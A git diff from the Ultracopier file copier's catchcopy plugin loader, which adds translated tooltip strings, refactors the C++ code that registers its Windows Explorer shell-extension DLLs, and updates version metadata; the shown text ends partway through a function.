index 0000000..30fce33
--- /dev/null
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/hu/translation.ts
@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="hu">
+<context>
+ <name>OptionsWidget</name>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation>Normális esetben csak a 64 bites dll fontos a 64 bites és a 32 bites dll a 32 bites operációs rendszer számára.Amikor lényeges, az UAC megnyitható a dll betöltéséhez.</translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
+ <source>All the dlls are importants</source>
+ <translation>Az összes dll fontos</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/id/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/id/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/id/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/id/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/it/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/it/translation.ts
index c87f684..ba6fb10 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/it/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/it/translation.ts
@@ -1,12 +1,17 @@
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE TS>
-<TS version="2.0">
+<TS version="2.0" language="it_IT">
<context>
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation>Solitamente, la dll 64Bit è indispensabile solo per sistemi operativi a 64Bit, e la dll 32Bit per sistemi operativi a 32Bits. Quando è necessario, l&apos; UAC (il controllo dell&apos;account utente) può essere aperto per caricare la dll.</translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
- <translation type="unfinished"></translation>
+ <translation>Tutte le dll sono necessarie</translation>
</message>
</context>
</TS>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/ja/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/ja/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/ja/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/ja/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/ko/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/ko/translation.ts
index 9d16334..48aea93 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/ko/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/ko/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="+17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location line="+3"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/nl/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/nl/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/nl/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/nl/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/no/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/no/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/no/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/no/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/pl/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/pl/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/pl/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/pl/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/pt/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/pt/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/pt/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/pt/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/ru/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/ru/translation.ts
index 480851d..239b785 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/ru/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/ru/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation>Все библиотеки являются важным</translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/th/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/th/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/th/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/th/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/tr/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/tr/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/tr/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/tr/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Languages/zh/translation.ts b/plugins/PluginLoader/catchcopy-v0002/Languages/zh/translation.ts
index c87f684..a1b2048 100644
--- a/plugins/PluginLoader/catchcopy-v0002/Languages/zh/translation.ts
+++ b/plugins/PluginLoader/catchcopy-v0002/Languages/zh/translation.ts
@@ -5,6 +5,11 @@
<name>OptionsWidget</name>
<message>
<location filename="../../OptionsWidget.ui" line="17"/>
+ <source>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it&apos;s important, the UAC can be opened to load the dll.</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../OptionsWidget.ui" line="20"/>
<source>All the dlls are importants</source>
<translation type="unfinished"></translation>
</message>
diff --git a/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.cpp b/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.cpp
index 4d616e4..563e855 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.cpp
+++ b/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.cpp
@@ -3,37 +3,37 @@
OptionsWidget::OptionsWidget(QWidget *parent) :
QWidget(parent),
- ui(new Ui::OptionsWidget)
+ ui(new Ui::OptionsWidget)
{
- ui->setupUi(this);
+ ui->setupUi(this);
}
OptionsWidget::~OptionsWidget()
{
- delete ui;
+ //delete ui;//attached to the main program, then it's the main program responsive the delete
}
void OptionsWidget::setAllDllIsImportant(bool allDllIsImportant)
{
- ui->allDllIsImportant->setChecked(allDllIsImportant);
+ ui->allDllIsImportant->setChecked(allDllIsImportant);
}
void OptionsWidget::setDebug(bool Debug)
{
- ui->Debug->setChecked(Debug);
+ ui->Debug->setChecked(Debug);
}
void OptionsWidget::on_allDllIsImportant_toggled(bool checked)
{
- emit sendAllDllIsImportant(ui->allDllIsImportant->isChecked());
+ emit sendAllDllIsImportant(checked);
}
void OptionsWidget::retranslate()
{
- ui->retranslateUi(this);
+ ui->retranslateUi(this);
}
void OptionsWidget::on_Debug_toggled(bool checked)
{
- emit sendDebug(ui->Debug->isChecked());
+ emit sendDebug(checked);
}
diff --git a/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.h b/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.h
index cbbf61c..cbbf61c 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.h
+++ b/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.h
diff --git a/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.ui b/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.ui
index 4fc0727..c741676 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.ui
+++ b/plugins/PluginLoader/catchcopy-v0002/OptionsWidget.ui
@@ -13,6 +13,9 @@
<layout class="QVBoxLayout">
<item>
<widget class="QCheckBox" name="allDllIsImportant">
+ <property name="toolTip">
+ <string>In normal case, only the dll 64Bits is important with 64Bits OS, and 32Bits dll with 32Bits OS. When it's important, the UAC can be opened to load the dll.</string>
+ </property>
<property name="text">
<string>All the dlls are importants</string>
</property>
diff --git a/plugins/PluginLoader/catchcopy-v0002/Variable.h b/plugins/PluginLoader/catchcopy-v0002/Variable.h
index 8179c93..90e1557 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/Variable.h
+++ b/plugins/PluginLoader/catchcopy-v0002/Variable.h
@@ -1,14 +1,14 @@
/** \file Variable.h
\brief Define the environment variable
\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\licence GPL3, see the file COPYING */
#ifndef VARIABLE_H
#define VARIABLE_H
//Un-comment this next line to put ultracopier plugin in debug mode
#define ULTRACOPIER_PLUGIN_DEBUG
+//#define ULTRACOPIER_PLUGIN_ALL_IN_ONE
#endif // VARIABLE_H
diff --git a/plugins/PluginLoader/catchcopy-v0002/documentation.dox b/plugins/PluginLoader/catchcopy-v0002/documentation.dox
index e8aaaa7..08ccc4a 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/documentation.dox
+++ b/plugins/PluginLoader/catchcopy-v0002/documentation.dox
@@ -10,13 +10,13 @@
\section mainpage_overview Overview
- Is the plugin to load the catchcopy plugin into the windows file manager.\n
- More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>. Is part of Ultracopier 0.3 project.
+ Is the plugin to load the catchcopy plugin into the windows file manager. Mostly it use the command: regsvr32 /s catchcopy32.dll/catchcopy64.dll\n
+ More informations on <a href="http://ultracopier-wiki.first-world.info/">the wiki of ultracopier</a>.
\section mainpage_platforms Platforms
- This plugin might be usable in all environments where you find Qt 4.\n
- To be compatible with the official Ultracopier plugins, you need compil it with Gcc, Qt4.8, and same env as Ultracopier have been compiled, see the documentation.
+ Ultracopier might be usable in all environments where you find Qt 5.\n
+ Ultracopier requires Qt 5.0 or newer. Tested on Qt 5.0.
\section mainpage_downloads Downloads
@@ -28,7 +28,7 @@
In function if Ultracopier is compiled by portable version, try load the dll by other way.
\section license GPL Version 3
- The code source is under GPL3. The image is extacted from Oxygen icon pack of KDE4.
+ The code source is under GPL3.
*/
diff --git a/plugins/PluginLoader/catchcopy-v0002/informations.xml b/plugins/PluginLoader/catchcopy-v0002/informations.xml
index 568ad06..0b62f30 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/informations.xml
+++ b/plugins/PluginLoader/catchcopy-v0002/informations.xml
@@ -17,11 +17,10 @@
<description xml:lang="en"><![CDATA[Plugin loader for catchcopy v0002. Allow to receive copy list from plugin/explorer compatible with catchcopy.]]></description>
<description xml:lang="fr"><![CDATA[Chargeur de plugin pour catchcopy v0002. Permet de recevoir un liste de copie venant d'un plugin/explorateur avec catchcopy.]]></description>
<!-- Version of this release of this plugin, need be like that's: A.B.C.D, where A, B, C and D is number -->
- <version>0.3.1.0</version>
+ <version>1.2.3.6</version>
<!-- This internal name should never change, because it is used to detect when a particular plugin is updated. It must comprise only lower case ASCII characters (a-z), numerical digits (0-9), "-", "." or "_", and it must be be unique within the category. And have size lower than 64 char. -->
<name>catchcopy-v0002</name>
<!-- Dependency checking. This is used to check when a plugin may not be compatible with an updated version of either Ultracopier or another plugin. This example only checks Ultracopier. -->
<dependencies><![CDATA[
- >=ultracopier-0.3.1.0
]]></dependencies>
</package> \ No newline at end of file
diff --git a/plugins/PluginLoader/catchcopy-v0002/plugin.json b/plugins/PluginLoader/catchcopy-v0002/plugin.json
new file mode 100644
index 0000000..9e26dfe
--- /dev/null
+++ b/plugins/PluginLoader/catchcopy-v0002/plugin.json
@@ -0,0 +1 @@
+{} \ No newline at end of file
diff --git a/plugins/PluginLoader/catchcopy-v0002/pluginLoader.cpp b/plugins/PluginLoader/catchcopy-v0002/pluginLoader.cpp
index d69cf91..2009e0a 100755..100644
--- a/plugins/PluginLoader/catchcopy-v0002/pluginLoader.cpp
+++ b/plugins/PluginLoader/catchcopy-v0002/pluginLoader.cpp
@@ -1,543 +1,442 @@
/** \file pluginLoader.cpp
\brief Define the session plugin loader test
-\author alpha_one_x86
-\version 0.3
-\date 2010 */
+\author alpha_one_x86 */
#include "pluginLoader.h"
#include "PlatformMacro.h"
+#include <QFile>
+#include <QDir>
+#ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+#include <QCoreApplication>
+#endif
+
#ifdef ULTRACOPIER_PLUGIN_DEBUG
- #define NORMAL_EXT "d.dll"
- #define SECOND_EXT ".dll"
+ #define NORMAL_EXT "d.dll"
+ #define SECOND_EXT ".dll"
#else
- #define NORMAL_EXT ".dll"
- #define SECOND_EXT "d.dll"
+ #define NORMAL_EXT ".dll"
+ #define SECOND_EXT "d.dll"
#endif
#define CATCHCOPY_DLL_32 "catchcopy32"
#define CATCHCOPY_DLL_64 "catchcopy64"
-PluginLoader::PluginLoader()
+WindowsExplorerLoader::WindowsExplorerLoader()
{
- //set the startup value into the variable
- dllChecked=false;
- optionsEngine=NULL;
- allDllIsImportant=false;
- Debug=false;
- needBeRegistred=false;
- changeOfArchDetected=false;
- is64Bits=false;
- connect(&optionsWidget,SIGNAL(sendAllDllIsImportant(bool)),this,SLOT(setAllDllIsImportant(bool)));
- connect(&optionsWidget,SIGNAL(sendDebug(bool)),this,SLOT(setDebug(bool)));
+ //set the startup value into the variable
+ dllChecked=false;
+ optionsEngine=NULL;
+ allDllIsImportant=false;
+ Debug=false;
+ needBeRegistred=false;
+ changeOfArchDetected=false;
+ is64Bits=false;
+ optionsWidget=new OptionsWidget();
+ connect(optionsWidget,&OptionsWidget::sendAllDllIsImportant,this,&WindowsExplorerLoader::setAllDllIsImportant);
+ connect(optionsWidget,&OptionsWidget::sendDebug,this,&WindowsExplorerLoader::setDebug);
#if defined(_M_X64)//64Bits
- is64Bits=true;
+ is64Bits=true;
#else//32Bits
- char *arch=getenv("windir");
- if(arch!=NULL)
- {
- QDir dir;
- if(dir.exists(QString(arch)+"\\SysWOW64\\"))
- is64Bits=true;
- /// \note commented because it do a crash at the startup, and useless, because is global variable, it should be removed only by the OS
- //delete arch;
- }
+ char *arch=getenv("windir");
+ if(arch!=NULL)
+ {
+ QDir dir;
+ if(dir.exists(QString(arch)+"\\SysWOW64\\"))
+ is64Bits=true;
+ /// \note commented because it do a crash at the startup, and useless, because is global variable, it should be removed only by the OS
+ //delete arch;
+ }
#endif
}
-PluginLoader::~PluginLoader()
+WindowsExplorerLoader::~WindowsExplorerLoader()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"destructor");
- setEnabled(false);
+ //delete optionsWidget;//attached to the main program, then it's the main program responsive the delete
+ setEnabled(false);
}
-void PluginLoader::setEnabled(bool needBeRegistred)
+void WindowsExplorerLoader::setEnabled(const bool &needBeRegistred)
{
- if(!checkExistsDll())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("No dll exists"));
- emit newState(Uncaught);
- if(!needBeRegistred)
- correctlyLoaded.clear();
- return;
- }
- if(this->needBeRegistred==needBeRegistred)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Double event dropped"));
- return;
- }
- this->needBeRegistred=needBeRegistred;
- int index=0;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start, needBeRegistred: %1, allDllIsImportant: %2").arg(needBeRegistred).arg(allDllIsImportant));
+ if(!checkExistsDll())
+ {
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ if(needBeRegistred)
+ emit newState(Ultracopier::Caught);
+ else
+ emit newState(Ultracopier::Uncaught);
+ #else
+ emit newState(Ultracopier::Uncaught);
+ #endif
+ if(!needBeRegistred)
+ correctlyLoaded.clear();
+ return;
+ }
+ if(this->needBeRegistred==needBeRegistred)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Double event dropped: %1").arg(needBeRegistred));
+ if(needBeRegistred)
+ emit newState(Ultracopier::Caught);
+ else
+ emit newState(Ultracopier::Uncaught);
+ return;
+ }
+ this->needBeRegistred=needBeRegistred;
+ int index=0;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, needBeRegistred: %1, allDllIsImportant: %2").arg(needBeRegistred).arg(allDllIsImportant));
- bool oneHaveFound=false;
- index=0;
- while(index<importantDll.size())
- {
- if(QFile::exists(pluginPath+importantDll.at(index)))
- {
- oneHaveFound=true;
- break;
- }
- index++;
- }
- if(!oneHaveFound)
- {
- index=0;
- while(index<secondDll.size())
- {
- if(QFile::exists(pluginPath+secondDll.at(index)))
- {
- oneHaveFound=true;
- break;
- }
- index++;
- }
- }
- if(!oneHaveFound)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("No dll have found"));
- emit newState(Uncaught);
- if(!needBeRegistred)
- correctlyLoaded.clear();
- return;
- }
+ bool oneHaveFound=false;
+ index=0;
+ while(index<importantDll.size())
+ {
+ if(QFile::exists(pluginPath+importantDll.at(index)))
+ {
+ oneHaveFound=true;
+ break;
+ }
+ index++;
+ }
+ if(!oneHaveFound)
+ {
+ index=0;
+ while(index<secondDll.size())
+ {
+ if(QFile::exists(pluginPath+secondDll.at(index)))
+ {
+ oneHaveFound=true;
+ break;
+ }
+ index++;
+ }
+ }
+ if(!oneHaveFound)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("No dll have found"));
+ emit newState(Ultracopier::Uncaught);
+ if(!needBeRegistred)
+ correctlyLoaded.clear();
+ return;
+ }
- index=0;
- bool importantDll_is_loaded=false,secondDll_is_loaded=false;
- bool importantDll_have_bug=false,secondDll_have_bug=false;
- int importantDll_count=0,secondDll_count=0;
- while(index<importantDll.size())
- {
- if(!RegisterShellExtDll(pluginPath+importantDll.at(index),needBeRegistred,false))
- {
- if(changeOfArchDetected)
- {
- setEnabled(needBeRegistred);
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"the important dll have failed: "+importantDll.at(index));
- importantDll_have_bug=true;
- }
- else
- {
- if(needBeRegistred)
- correctlyLoaded << importantDll.at(index);
- importantDll_is_loaded=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the important dll have been loaded: "+importantDll.at(index));
- }
- importantDll_count++;
- index++;
- }
- index=0;
- while(index<secondDll.size())
- {
- if(!RegisterShellExtDll(pluginPath+secondDll.at(index),needBeRegistred,
- !(
- (needBeRegistred && allDllIsImportant)
- ||
- (!needBeRegistred && correctlyLoaded.contains(secondDll.at(index)))
- )
- ))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"the second dll have failed: "+secondDll.at(index));
- secondDll_have_bug=true;
- }
- else
- {
- if(needBeRegistred)
- correctlyLoaded << secondDll.at(index);
- secondDll_is_loaded=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"the second dll have been loaded: "+secondDll.at(index));
- }
- secondDll_count++;
- index++;
- }
+ index=0;
+ bool importantDll_is_loaded=false,secondDll_is_loaded=false;
+ bool importantDll_have_bug=false,secondDll_have_bug=false;
+ int importantDll_count=0,secondDll_count=0;
+ while(index<importantDll.size())
+ {
+ if(!RegisterShellExtDll(pluginPath+importantDll.at(index),needBeRegistred,
+ !(
+ (needBeRegistred)
+ ||
+ (!needBeRegistred && correctlyLoaded.contains(importantDll.at(index)))
+ )
+ ))
+ {
+ if(changeOfArchDetected)
+ {
+ setEnabled(needBeRegistred);
+ return;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"the important dll have failed: "+importantDll.at(index));
+ importantDll_have_bug=true;
+ }
+ else
+ {
+ importantDll_is_loaded=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the important dll have been loaded: "+importantDll.at(index));
+ }
+ importantDll_count++;
+ index++;
+ }
+ index=0;
+ while(index<secondDll.size())
+ {
+ if(!RegisterShellExtDll(pluginPath+secondDll.at(index),needBeRegistred,
+ !(
+ (needBeRegistred && allDllIsImportant)
+ ||
+ (!needBeRegistred && correctlyLoaded.contains(secondDll.at(index)))
+ )
+ ))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"the second dll have failed: "+secondDll.at(index));
+ secondDll_have_bug=true;
+ }
+ else
+ {
+ secondDll_is_loaded=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"the second dll have been loaded: "+secondDll.at(index));
+ }
+ secondDll_count++;
+ index++;
+ }
- CatchState importantDll_state,secondDll_state;
- if(importantDll_count==0)
- {
- if(needBeRegistred)
- importantDll_state=Caught;
- else
- importantDll_state=Uncaught;
- }
- else
- {
- if(importantDll_is_loaded)
- {
- if(!importantDll_have_bug)
- importantDll_state=Caught;
- else
- importantDll_state=Semiuncaught;
- }
- else
- importantDll_state=Uncaught;
- }
- if(secondDll_count==0)
- if(needBeRegistred)
- secondDll_state=Caught;
- else
- secondDll_state=Uncaught;
- else
- {
- if(secondDll_is_loaded)
- {
- if(!secondDll_have_bug)
- secondDll_state=Caught;
- else
- secondDll_state=Semiuncaught;
- }
- else
- secondDll_state=Uncaught;
- }
+ Ultracopier::CatchState importantDll_state,secondDll_state;
+ if(importantDll_count==0)
+ {
+ if(needBeRegistred)
+ importantDll_state=Ultracopier::Caught;
+ else
+ importantDll_state=Ultracopier::Uncaught;
+ }
+ else
+ {
+ if(importantDll_is_loaded)
+ {
+ if(!importantDll_have_bug)
+ importantDll_state=Ultracopier::Caught;
+ else
+ importantDll_state=Ultracopier::Semiuncaught;
+ }
+ else
+ importantDll_state=Ultracopier::Uncaught;
+ }
+ if(secondDll_count==0)
+ if(needBeRegistred)
+ secondDll_state=Ultracopier::Caught;
+ else
+ secondDll_state=Ultracopier::Uncaught;
+ else
+ {
+ if(secondDll_is_loaded)
+ {
+ if(!secondDll_have_bug)
+ secondDll_state=Ultracopier::Caught;
+ else
+ secondDll_state=Ultracopier::Semiuncaught;
+ }
+ else
+ secondDll_state=Ultracopier::Uncaught;
+ }
- if((importantDll_state==Uncaught && secondDll_state==Uncaught) || !needBeRegistred || (importantDll_count==0 && secondDll_count==0))
- emit newState(Uncaught);
- else if(importantDll_state==Caught)
- emit newState(Caught);
- else
- emit newState(Semiuncaught);
-
- if(!needBeRegistred)
- correctlyLoaded.clear();
-}
+ if((importantDll_state==Ultracopier::Uncaught && secondDll_state==Ultracopier::Uncaught) || !needBeRegistred || (importantDll_count==0 && secondDll_count==0))
+ emit newState(Ultracopier::Uncaught);
+ else if(importantDll_state==Ultracopier::Caught)
+ emit newState(Ultracopier::Caught);
+ else
+ emit newState(Ultracopier::Semiuncaught);
-bool PluginLoader::checkExistsDll()
-{
- if(dllChecked)
- {
- if(importantDll.size()>0 || secondDll.size()>0)
- return true;
- else
- return false;
- }
- dllChecked=true;
-
- if(is64Bits)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"64Bits is important");
- importantDll << CATCHCOPY_DLL_64;
- secondDll << CATCHCOPY_DLL_32;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"32Bits is important");
- importantDll << CATCHCOPY_DLL_32;
- secondDll << CATCHCOPY_DLL_64;
- }
-
- int index=0;
- while(index<importantDll.size())
- {
- if(!QFile::exists(pluginPath+importantDll.at(index)+NORMAL_EXT))
- {
- if(!QFile::exists(pluginPath+importantDll.at(index)+SECOND_EXT))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"file not found, drop to the list: "+importantDll.at(index));
- importantDll.removeAt(index);
- index--;
- }
- else
- importantDll[index]+=SECOND_EXT;
- }
- else
- importantDll[index]+=NORMAL_EXT;
- index++;
- }
- index=0;
- while(index<secondDll.size())
- {
- if(!QFile::exists(pluginPath+secondDll.at(index)+NORMAL_EXT))
- {
- if(!QFile::exists(pluginPath+secondDll.at(index)+SECOND_EXT))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"file not found, drop to the list: "+secondDll.at(index));
- secondDll.removeAt(index);
- index--;
- }
- else
- secondDll[index]+=SECOND_EXT;
- }
- else
- secondDll[index]+=NORMAL_EXT;
- index++;
- }
- if(importantDll.size()>0 || secondDll.size()>0)
- return true;
- else
- return false;
+ if(!needBeRegistred)
+ correctlyLoaded.clear();
}
-void PluginLoader::setResources(OptionInterface * options,QString writePath,QString pluginPath,bool portableVersion)
+bool WindowsExplorerLoader::checkExistsDll()
{
- Q_UNUSED(options);
- this->pluginPath=pluginPath;
- this->optionsEngine=options;
- if(optionsEngine!=NULL)
- {
- QList<QPair<QString, QVariant> > KeysList;
- KeysList.append(qMakePair(QString("allDllIsImportant"),QVariant(false)));
- KeysList.append(qMakePair(QString("Debug"),QVariant(false)));
- optionsEngine->addOptionGroup(KeysList);
- allDllIsImportant=optionsEngine->getOptionValue("allDllIsImportant").toBool();
- Debug=optionsEngine->getOptionValue("Debug").toBool();
